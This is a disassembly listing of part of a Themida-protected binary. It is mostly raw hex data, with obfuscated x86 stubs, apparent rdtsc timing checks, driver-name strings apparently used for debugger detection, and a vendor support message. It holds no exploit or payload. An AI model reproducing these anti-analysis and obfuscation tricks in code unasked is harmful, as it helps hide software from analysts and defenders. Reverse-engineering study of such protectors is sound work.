		dd 8C2054Bh, 0CFF1EB1Fh, 547B5E0Ch, 0D5E22793h,	216BAE1Ch
		dd 5B1F34E6h, 0F910E710h, 0CBC3BE3Bh, 66C40749h, 65287903h
		dd 23A7F1A4h, 0A961DAEEh, 0A4A2A661h, 9425D586h, 63083CFCh
		dd 0EF1843C7h, 0C63BFC91h, 91D0F9A2h, 0F6A53BFCh, 76B7C603h
		dd 0D2D67D4h, 0FC92719Eh, 0EC76EF3Bh, 226E90FBh, 0B1CAFE83h
		dd 320BB467h, 3014D95h,	6D000001h, 42C80349h, 7C9E596Fh
		dd 0DFA6C12Fh, 28E3A946h, 0A5EB8E02h, 13F862h, 46DFA6D7h
		dd 3793FDAEh, 0ED2E5E33h, 47B29E6Dh, 9C50FA35h,	9DD892EFh
		dd 1874CDBDh, 105B1ADEh, 46DFA3E7h, 4A9ACDBEh, 0E5E347DFh
		dd 3C6FCBBEh, 3CFBDF18h, 80304227h, 0FBBAB2DBh,	2DE08B3Bh
		dd 0B6F2DE2Dh, 1BDF15C5h, 0F10CE3ADh, 0FBE981AAh, 74A7543Bh
		dd 0B0FB7ED9h, 3BFC5787h, 7FAAD5Eh, 802BAF23h, 3BFC5757h
		dd 10137D2Eh, 3217FD20h, 7FA8F377h, 5646D91Dh, 0E0C40925h
		dd 0A5183495h, 651548F2h, 0F66A77AAh, 0CE095BA5h, 6D137682h
		dd 9D50893Ch, 63A4E82Dh, 0D75DC839h, 39DF7309h,	273h, 0FBAF6813h
		dd 4337F086h, 0CFBB7C0Eh, 4A00F98Ah, 0D4864177h, 0BBD27DBh
		dd 90271AD0h, 19AEE357h, 65176A20h, 8753F0AAh, 0F90FABD4h
		dd 9797823Bh, 4C8735A8h, 0A4672900h, 2EE993F6h,	0F185F87Ch
		dd 6AA5D536h, 0D4A8FE2Eh, 0DFAB5E87h, 4AC43746h, 2B069F93h
		dd 9FFAD689h, 0B52832EDh, 0D41ECC07h, 0B4083214h, 29426B30h
		dd 701B46DFh, 77A1662Bh, 0FC273834h, 624D73Ch, 0E4A2AD75h
		dd 0BC984F05h, 24E20F9Ch, 0E7183BFCh, 60174A7Bh, 3DCA6DA7h
		dd 374D9552h, 32h, 0A4A2A667h, 980DD586h, 0BB603CFCh, 71AADABFh
		dd 68A46528h, 95AEDBC0h, 332C3BFCh, 0C5EC99AFh,	29E44D95h
		dd 44000000h, 8A729BC0h, 0A04B3BFCh, 537F3074h,	0F446DFABh
		dd 832812F4h, 3CFCBC8Fh, 45C38DFEh, 66DCB366h, 0A0D2B7B3h
		dd 4D5D2D67h, 86A4A2A6h, 0FCC881D5h, 3B3FEC3Ch,	0A5A70850h
		dd 79537EDCh, 579DCAD1h, 22D33BFCh, 801FA880h, 2C154D95h
		dd 81000000h, 5E87D4A8h, 646DFABh, 0A497B374h, 386BA556h
		dd 46DFAB0Bh, 0C4EDBE32h, 9946DFAAh, 9C5CA6F2h,	0E7DB80AAh
		dd 463CFCBBh, 0A695E555h, 4B8432A2h, 0AB93BCEFh, 816A46DFh
		dd 0AB3F6CCEh, 923CF9EDh, 2D244D1Eh, 12F93BF9h,	1FAFE2C6h
		dd 1ED13A20h, 97C458DCh, 3BF92D6Eh, 11785447h, 87FAB06Bh
		dd 52103AF5h, 0E18AB096h, 32136ED6h, 0B56E1A7Fh, 3E6AA695h
		dd 0C088ED4Dh, 4A7E5307h, 0FFFB8991h, 7A7A2109h, 1D3CFC99h
		dd 0F515D2F8h, 7AB5C506h, 4CB86BD0h, 14B3EC71h,	0C4EA8CA0h
		dd 40000000h, 370AC039h, 0BF924887h, 3B1ECC0Bh,	0A4995196h
		dd 463D710h, 61DAEAD6h,	0E82154A9h, 71AEDF32h, 0FB3444B9h
		dd 2576040Fh, 3BF90DFCh, 0A6E624D1h, 286A4A2h, 0AAB4DD8Eh
		dd 0E28946DFh, 0ED6675B6h, 0B2D73CF9h, 6F42C801h, 9279E15Eh
		dd 15CEFADFh, 0DECA06F5h, 0E2890D2Dh, 3BF92CB9h, 4BCF08BDh
		dd 97C1AAC0h, 2F9CEF63h, 0A8006285h, 8D8CB5E6h,	0BA613BF9h
		dd 1CAC8DC7h, 387AE5A3h, 4E01594Ch, 0D813B99Ch,	0B3DBBE32h
		dd 0BD071874h, 0ED3518FFh, 85427469h, 0DE30B24Bh, 44B971AAh
		dd 7A5FFB34h, 0B8710649h, 0F74C45C5h, 36F19B6Bh, 807B0144h
		dd 1942C69Ah, 41D817F0h, 5CFAD6C5h, 3, 49E0C848h, 6C41C902h
		dd 267E35Ch, 3B9EBC75h,	0D2B75394h, 8CE169A2h, 0A61B3FF8h
		dd 5336D415h, 0F62E82Fh, 0B99A807Fh, 1A2068h, 24148900h
		dd 7F1E68h, 243C8900h, 968h, 241C8900h,	8036BD55h, 5F550AE6h
		dd 37A8685Dh, 24890000h, 24048124h, 4, 4EC815Bh, 89000000h
		dd 438F243Ch, 2434FF08h, 4C4835Bh, 52243C8Bh, 0C281E289h
		dd 4, 8704C283h, 0E95C2414h, 0FFFCE169h, 0EC0F404Bh, 0DEB1C8Ch
		dd 0CC9BF650h
		db 84h,	83h, 3Ch
; ---------------------------------------------------------------------------


loc_5BC34F:				; CODE XREF: Themida_:loc_5BA451j
		mov	eax, 0AE69DF2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 0BDB0348h, 22626574h, 32AEC4D1h, 2433FBF7h, 6EE9E25Ch
		dd 11E8h, 7AEEBC00h, 8D2191F1h,	3E7019CFh, 4AAF5C2h, 0EB80F6A7h
		dd 81F85E68h, 61A1C6h, 81C93300h, 240DAFE3h, 0E148B07h
		dd 138C0Fh, 0E9600000h,	6, 0E04E3418h, 0D2814CB6h, 28862B4Dh
		dd 79EA8161h, 0E979313Ah, 6, 90FEC8D7h,	0C2811AF9h, 5070ABAFh
		dd 12E9h, 0FE36D300h, 1F11A9F6h, 0F18D271h, 0A957F6B4h
		dd 81E5A860h, 3BE600F2h, 0E148928h, 0AE9h, 3B3AC900h, 64B6C89Fh
		dd 835E2F8Eh, 7E901E9h,	1F000000h, 0F4F9D218h, 4949B9A3h
		dd 40C38049h, 9F2CF981h, 850FFFFFh, 1Ah, 0CA0160B8h, 20E923h
		dd 2BFA0000h, 0C23B9FE4h, 60A2E4D0h, 757AAA2Bh,	0E381E781h
		dd 71271D11h, 0FFFF58E9h, 1E9746FFh, 0FE8C40Ch,	83000000h
		dd 5EE80BBAh, 7D99336h,	2BADB633h, 0F5B5441h, 0C381CFBFh
		dd 6D11h, 2B68D78Ah, 0F500001Bh, 38BF85Fh, 81D68B66h, 0ECBFAFF0h
		dd 7773BA52h, 0F0816E96h, 644FA244h, 0A82DE881h, 89FC52D4h
		dd 0A8F0F03h, 0F000000h, 483h, 0F3BA6600h, 2EB83E7h, 664B4BF8h
		dd 7EB0C281h, 0BF850F4Fh, 0BAFFFFFFh, 63042EA6h, 10E8h
		dd 0E5161D00h, 0B194D460h, 4D6EB782h, 0AEB742AEh, 1F00B9E4h
		dd 0E95B4A00h, 0Fh, 73BF51AEh, 775C70C7h, 798CB7B0h, 8101722Dh
		dd 737EC3h, 2BF78100h, 0BA145563h, 758BDDAh, 5ED1C281h
		dd 8166F8A7h, 0FFDED1CFh, 0FBB70F33h, 0FE85358h, 0A3000000h
		dd 0C2D7DB87h, 4AB7CED4h, 0C209B7A3h, 0B70F9A06h, 815E5EC8h
		dd 543173C0h, 0E881F845h, 689259EBh, 81CCD980h,	0C0908AE8h
		dd 830F603Eh, 6, 38E5F281h, 0BF0F5EF1h,	38961F1h, 0E6816656h
		dd 835FAFD3h, 0BE901EBh, 6F000000h, 0E041BFEFh,	370505A3h
		dd 4B4B707Ah, 41F3BF4Bh, 0F4A0936h, 0F85h, 19E900h, 0CD5F0000h
		dd 75197A46h, 2E7BA36Eh, 0FF79E9F9h, 26BCFFFFh,	0CBF4C1B8h
		dd 0EB8B2808h, 53464934h, 2052474Dh, 444B5620h,	20202020h
		dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h
		dd 2052444Ch, 20h, 2 dup(0)
		dd 805E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 6079F5C3h, 0DF9581BBh, 14E91Ah
		dd 1CD80000h, 81B70B37h, 0E84A7AD1h, 836AB267h,	1E0EF0Ah
		dd 60616E9Ah, 10810Fh, 0E9600000h, 7, 7A6E1AD6h, 519DA771h
		dd 0CE9615Bh, 0B1000000h, 63490F63h, 417674E7h,	0C7A8B9F9h
		dd 0E6A0C385h, 0Ah, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8BF83F4Dh, 53006AC6h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 719F7AF4h, 0DB4C2A52h, 0BE9BAh, 2D1E0000h, 0AD15C591h
		dd 0AA49B4C8h, 0D8B70FE0h, 6830Fh, 66600000h, 61B49CBFh
		dd 0FE9h, 913AFF00h, 0A637D134h, 866181E7h, 0A1C07BADh
		dd 6A10E8C1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 17F4C350h, 0C166FCFCh,	0BE908C8h
		dd 0D5000000h, 0CBC42B1Ah, 144D2CB8h, 858944FEh, 0AE6A0C7h
		dd 5E9h, 0F7E1BE00h, 0C16654ECh, 6A08CBh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F8F48AC3h
		dd 0F40FB83h, 7085h, 0BD8DF900h, 0AE6A09Bh, 14830Fh, 0FE90000h
		dd 85000000h, 0B0505797h, 89357576h, 0A7F64422h, 0BE96408h
		dd 6A000002h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0AAD3C356h, 8DBAF552h,	23820Fh
		dd 0E8600000h, 8, 0E30EEEA8h, 151D1870h, 0EE958h, 355E0000h
		dd 63C5AF24h, 71D07543h, 52EA32BDh, 0DFB8361h, 75850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 981DEDC3h, 0DE2EDE72h, 0BE9FBB2h,	0C0000000h
		dd 0A25DA4A2h, 32F299Fh, 0FC606B48h, 0A3BD8D61h, 0E90AE6A0h
		dd 8, 0B526433Eh, 774C86CEh, 169E9h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 46E8E306h
		dd 0B779262Fh, 83F82A8Fh, 850F01FBh, 87h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 9DC35747h, 0BD8D0004h
		dd 0AE6A0ABh, 13E9h, 7A1A3A00h,	17609E45h, 6F0E227Bh, 15EBE437h
		dd 8C1ADC33h, 0F9E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 9134D1B3h, 158E0F2Eh
		dd 0E9000000h, 10h, 0EF26CDBFh,	81146E4Ch, 20208290h, 0F87471Eh
		dd 5E9h, 3E21F000h, 83FC4801h, 850F2AFBh, 2Ch, 0B3BD8DF8h
		dd 0F0AE6A0h, 185h, 13E9FC00h, 8E000000h, 0E1EC9D1h, 0C5B23853h
		dd 0B719DCC8h, 0BE4DFEAFh, 7FE91664h, 0F8000000h, 0F27FB83h
		dd 3A285h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 8FC78857h, 354D7FBAh, 0C8A0Fh, 7E90000h
		dd 66000000h, 0ED33D49Dh, 0AE9E15Eh, 0A2000000h, 3FD91B47h
		dd 15EAC77Dh, 0BBBD8D1Ch, 6A0AE6A0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5425C356h
		dd 0DD3C8A49h, 0FE0845Bh, 18Eh,	0BD89F900h, 0AE6A0CBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 59C35242h
		dd 86CF5413h, 0ACFF7C73h, 18D0FB5h, 0FC000000h,	6AC88C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 9B45C357h, 324DF35h, 7E9h, 0B50D8E00h, 7EB23363h
		dd 11E960h, 44F40000h, 2BC52750h, 138F9699h, 8634D032h
		dd 60EE44DAh, 0FE9h, 67AE5800h,	4416DAE8h, 416CE41Ah, 0A5BF7397h
		dd 8E9h, 0AB398D00h, 519526A3h,	0A616174h, 0B8850FC0h
		dd 0FC000001h, 0A809B58Dh, 6A0AE6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B708D0C3h
		dd 8BF96DD4h, 0E6A87A85h, 18C0F0Ah, 0F8000000h,	890F92F8h
		dd 12h,	52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 0F50585Ah
		dd 88Ah, 52506000h, 585A310Fh, 7E99261h, 79000000h, 6E9B88EBh
		dd 10F92E9h, 6AFE244Ch,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0B9BC357h, 0CEB9772Bh
		dd 7890Fh, 840F0000h, 1, 13E95AF8h, 0F4000000h,	49FA819Eh
		dd 2BF933A0h, 563520DDh, 36D6A6F4h, 83F8DE1Bh, 840F24C2h
		dd 1, 728966FCh, 0BF6660FCh, 0EE813CA0h, 7364C9BDh, 8820F61h
		dd 60000000h, 840Fh, 0C1610000h, 8C0F10CEh, 2Eh, 0FE960h
		dd 59980000h, 7D27B8DCh, 923BCFBFh, 135FD03h, 12E895h
		dd 68ED0000h, 0BE8A03D1h, 5EE79D8Bh, 0EF6E09FBh, 0B28A1FC4h
		dd 8966615Bh, 6A0272h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 4CD75C3h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 16h, 0D9C35141h,	0E960A250h, 10h
		dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 0D85EB253h, 3840Fh
		dd 0E1800000h, 0E2E9613Dh, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0C021C357h
		dd 9F494357h, 0E93C4A76h, 13h, 7D5D012Dh, 0BCDFE0ADh, 0CBD45533h
		dd 0A3C25428h, 8B9CDD2Fh, 0E6A87A85h, 52006A0Ah, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0BD4BA613h, 0F606E14h, 585h,	0DA816600h, 0F78BB779h
		dd 0B58DF961h, 0AE6A809h, 0D800Fh, 0E9600000h, 5, 0C75646B1h
		dd 0F561F9FDh, 76B8858Dh, 0E9600AE6h, 12h, 923BCFBFh, 135FD03h
		dd 9D2D9295h, 573ABD29h, 0D981EF7Dh, 5E19B79Dh,	6AD0FF61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9553C352h, 0A8C0Fh, 0F600000h, 8Dh, 61595300h
		dd 0C38589F5h, 6A0AE6A0h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0D3FC355h, 1820Fh
		dd 61F80000h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0EAC35646h, 5E9F820h, 0FF000000h, 6FDFC9A0h, 0A0C3858Bh
		dd 890F0AE6h, 1, 6AC3F5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0FD8631C3h, 0FB989DAh
		dd 148Dh, 0FE900h, 6F760000h, 0E041BFEFh, 370505A3h, 0FCE9707Ah
		dd 88B0FFCh, 0F000000h,	28Ch, 60616000h, 7ABD83F5h, 0AE6A8h
		dd 2F850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FEC33C3h, 180h,	85C7F500h, 0AE6A87Ah
		dd 1013Fh, 2CE9F9h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E96B73C3h, 0Ah, 2B6FF232h
		dd 94847FBBh, 20CD3A21h, 0
; ---------------------------------------------------------------------------


loc_5BCD70:				; CODE XREF: Themida_:005BCDA9j
		or	eax, eax
		jz	short loc_5BCDAB
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+0AE6A0CBh]
		mov	ecx, 8


loc_5BCD82:				; CODE XREF: Themida_:005BCD86j
		cmpsb
		jnz	short loc_5BCDA7
		dec	ecx
		jnz	short loc_5BCD82
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+0AE6A0C7h]
		cmp	ebx, [eax+34h]
		jg	short loc_5BCDAB
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+0AE6A0C3h], eax
		jmp	short loc_5BCDAB
; ---------------------------------------------------------------------------


loc_5BCDA7:				; CODE XREF: Themida_:005BCD83j
		mov	eax, [eax]
		jmp	short loc_5BCD70
; ---------------------------------------------------------------------------


loc_5BCDAB:				; CODE XREF: Themida_:005BCD72j
					; Themida_:005BCD94j ...
		popa
		mov	eax, [ebp+0AE6A0C3h]
		iret
; ---------------------------------------------------------------------------
		pusha
		jz	loc_5BCDBE
		mov	si, 8D70h


loc_5BCDBE:				; CODE XREF: Themida_:005BCDB4j
		popa
		pusha
		mov	edx, 309CFC42h
		sub	di, 0CC9Ch
		popa
		mov	eax, eax
		jmp	loc_5BD1D2
; ---------------------------------------------------------------------------
		align 4
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FD48+2B8h
		dd offset dword_44B1B4+4E4Ch
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BD1D2:				; CODE XREF: Themida_:005BCDCDj
		jmp	loc_5BE345
; ---------------------------------------------------------------------------
		jz	loc_5BD1E5
		pusha
		mov	eax, [ebp+0AE31289h]
		popa


loc_5BD1E5:				; CODE XREF: Themida_:005BD1D7j
		mov	eax, [ebp+0AE304B5h]
		push	0
		push	ebp
		call	sub_5BD1F6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD1F6	proc near		; CODE XREF: Themida_:005BD1EEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BD1F6	endp

; ---------------------------------------------------------------------------
		or	[ebp+419D89B0h], cl
		sbb	al, 0E3h
		or	bh, [ecx]
		inc	esp
		and	al, 4
		jnz	loc_5BD267
		or	[ebp+0AE30345h], edi
		cmp	dword ptr [ebp+0AE30231h], 0
		jz	loc_5BD267
		ja	loc_5BD233
		clc


loc_5BD233:				; CODE XREF: Themida_:005BD22Cj
		lea	eax, [ebp+0AE33AF9h]
		push	0
		push	eax
		call	sub_5BD244
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD244	proc near		; CODE XREF: Themida_:005BD23Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BD244	endp

; ---------------------------------------------------------------------------
		dd 9D89D3FAh, 0AE3269Dh, 0FC60E0FFh, 6B59509h
		db 0E3h, 0Ah, 61h
; ---------------------------------------------------------------------------


loc_5BD267:				; CODE XREF: Themida_:005BD213j
					; Themida_:005BD226j
		mov	eax, [ebp+0AE33565h]
		pusha
		clc
		jns	loc_5BD276
		clc


loc_5BD276:				; CODE XREF: Themida_:005BD26Fj
		popa
		cmp	[esp+4], eax
		jnz	loc_5BD2E6
		push	0
		push	ecx
		call	sub_5BD28C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD28C	proc near		; CODE XREF: Themida_:005BD284p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5BD28C	endp

; ---------------------------------------------------------------------------
		sbb	esi, [esi+59507625h]
		db	64h
		stc
		mov	dword ptr [ebp+0AE6ACDCh], 1
		push	0
		push	ebx
		call	sub_5BD2B9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD2B9	proc near		; CODE XREF: Themida_:005BD2B1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5BD2B9	endp

; ---------------------------------------------------------------------------
		db 0F8h, 46h, 3Fh
		dd 13E945C0h, 1E000000h, 0AC131155h, 90E58669h,	0CD28FAA6h
		dd 0C261A569h
		db 6Eh,	0F2h
; ---------------------------------------------------------------------------


loc_5BD2E6:				; CODE XREF: Themida_:005BD27Bj
		pusha
		push	0
		push	ebp
		call	sub_5BD2F2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD2F2	proc near		; CODE XREF: Themida_:005BD2EAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5BD2F2	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 0FEh
		db 0CCh
		db 99h,	71h, 4
		dd 810FA6E4h, 6, 4CDBD31h, 29E90AE3h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 7B02C352h, 3031452Fh, 0D7E4237Fh, 0
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_5BD349:				; CODE XREF: Themida_:005BD351j
		xchg	eax, [ebp+0AE6AE4Eh]
		or	eax, eax
		jnz	short loc_5BD349
		push	dword ptr [ebp+0AE31CF1h]
		pop	dword ptr [ebp+0AE6ACD4h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+0AE31E69h]
		cmp	dword ptr [ebp+0AE320DDh], 0
		jz	short loc_5BD37A
		push	0
		call	dword ptr [ebp+0AE31CD1h]


loc_5BD37A:				; CODE XREF: Themida_:005BD370j
		cmp	dword ptr [ebp+0AE32621h], 1
		jz	short loc_5BD390
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+0AE31E69h]


loc_5BD390:				; CODE XREF: Themida_:005BD381j
		push	0
		push	esi
		call	sub_5BD39B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD39B	proc near		; CODE XREF: Themida_:005BD393p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5BD39B	endp

; ---------------------------------------------------------------------------
		db 10h
; ---------------------------------------------------------------------------
		jz	loc_5BD3B8
		or	[ebp+0AE314FDh], eax


loc_5BD3B8:				; CODE XREF: Themida_:005BD3ACj
		push	0
		push	ebx
		call	sub_5BD3C3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD3C3	proc near		; CODE XREF: Themida_:005BD3BBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BD3C3	endp

; ---------------------------------------------------------------------------
		cmpsd
		or	[edx-2Eh], edx
		jnp	short loc_5BD438
		adc	eax, [edx]
		and	dword ptr [edx+0B8A0Fh], 0
		add	[eax-80h], ah
		aad	8Ah
		mov	[ebp+0AE303A1h], ecx
		popa
		mov	eax, 0
		mov	[ebp+0AE32FE1h], edx
		mov	edx, [esp+28h]
		sub	[ebp+0AE30019h], edx
		mov	[ebp+0AE30671h], ecx
		mov	[ebp+0AE32C2Dh], eax
		jb	loc_5BD41D
		jz	loc_5BD41D
		pusha
		popa


loc_5BD41D:				; CODE XREF: Themida_:005BD40Fj
					; Themida_:005BD415j
		mov	esi, 3Ch
		jmp	loc_5BD439
; ---------------------------------------------------------------------------
		align 4
		mov	byte ptr [edx+6Ch], 6Fh
		test	[edx+52h], ebx
		lds	ebp, [eax+4F764AD0h]
		pop	edx
		adc	al, 5Dh


loc_5BD438:				; CODE XREF: Themida_:005BD3D7j
		xchg	eax, edx


loc_5BD439:				; CODE XREF: Themida_:005BD422j
		add	esi, [esp+24h]
		pusha
		jmp	loc_5BD455
; ---------------------------------------------------------------------------
		db 96h
		dd 0CDE301FBh, 92B4BB82h, 909EB5F6h, 87932459h
; ---------------------------------------------------------------------------
		dec	ebx


loc_5BD455:				; CODE XREF: Themida_:005BD43Ej
		popa
		sub	[ebp+0AE30299h], edi
		lodsw
		jmp	loc_5BD46D
; ---------------------------------------------------------------------------
		db 0A2h
		dd 4BF58D17h, 2151D85Ah
		db 0CDh
; ---------------------------------------------------------------------------


loc_5BD46D:				; CODE XREF: Themida_:005BD45Ej
		add	eax, [esp+24h]
		push	0
		push	eax
		call	sub_5BD47C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD47C	proc near		; CODE XREF: Themida_:005BD474p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5BD47C	endp

; ---------------------------------------------------------------------------
		dd 69AD5CE6h, 0FE98B45h, 23000000h, 0C0FCADC1h,	0EE53A458h
		dd 0AF283C87h, 0F9056B9h, 0C88h, 68D0F00h, 50000000h, 5A310F52h
		dd 7E95058h, 0C7000000h, 5CD5F819h, 6A905CEAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0ED78C355h, 8F18D89h, 9D890AE3h, 0AE31751h, 6A78408Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0BB03C352h, 0E9E1A2D7h, 0Ch, 0B6C70962h
		dd 0C8248029h, 0F5BA0D85h, 0ACDCBD83h, 0F000AE6h, 10685h
		dd 0E990F800h, 10h, 6D4BF680h, 0AD5AAE55h, 689C5AC7h, 0BA9029E6h
		dd 7E950h, 0F19A0000h, 139675B1h, 8D3190EBh, 0AE3141Dh
		dd 2C24448Bh, 1EB18D31h, 66600AE3h, 206EC881h, 6820Fh
		dd 8D330000h, 0AE312D5h, 0E8609061h, 11h, 4B79C2DAh, 86A6648Eh
		dd 3C862D4h, 334E99F3h,	0FE84Fh, 400C0000h, 0A2445E86h
		dd 0D6BA5400h, 0CB83E112h, 505A5E89h, 0FD98B52h, 5A616031h
		dd 50506158h, 50525052h, 5A310F52h, 0F310F58h, 86h, 0F585A00h
		dd 59526031h, 7E9h, 0A1B88600h,	3D11D7C0h, 90585A61h, 22AD9D29h
		dd 9D310AE3h, 0AE31075h, 7DC7858Dh, 0FE90AE6h, 4D000000h
		dd 95195A32h, 0D644025Ah, 6C2E7C34h, 0D0FF47D3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C2C35141h, 0E551147Eh
		dd 5D7C9921h, 9D3360CAh, 0AE31A81h, 6057B260h, 3616161h
		dd 60282444h, 24E9BD89h, 0BD010AE3h, 0AE30FF1h,	18408B61h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 98C35646h
		dd 50006A40h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 8D8B60B4h, 0AE32D3Dh, 0DCE38166h, 858961C2h
		dd 0AE6ACD8h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0C1C35040h, 9B672782h, 58F9FA6Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 0C5C35646h, 11E9B57Eh
		dd 0CE000000h, 0DF2183Fh, 0F64A5071h, 0BE71531Dh, 0B9959EA0h
		dd 6890Fh, 0BD290000h, 0AE3059Dh, 6A78708Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 75A1C353h, 4F5D4B06h, 8E9h, 42F14D00h, 0E9EE9D90h, 1CC68312h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4CC35747h
		dd 0AE1FC84Eh, 0DEDF0BCh, 16820F92h, 60000000h,	840Fh
		dd 9E90000h, 71000000h,	0B2A6D879h, 54DC9593h, 95319661h
		dd 0AE32399h, 24247C81h, 10000000h, 0EA870Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 56540CC3h, 23D82C35h, 12E9h,	54C3B500h, 58DF9CBFh, 1CEB4DADh
		dd 0F3A22918h, 89AC48AEh, 0E3080DBDh, 6660500Ah, 14E9F28Bh
		dd 0AA000000h, 0F6DCEF76h, 2597738Fh, 605B395Dh, 0F677F22Ah
		dd 61D8AB80h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 83C0C355h, 0AFB4B618h
		dd 24448BF8h, 50006A28h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 5B422A50h, 1B1D8589h, 800F0AE3h
		dd 0Bh,	0DF8B6660h, 7459589h, 0F9610AE3h, 88F0F50h, 0F000000h
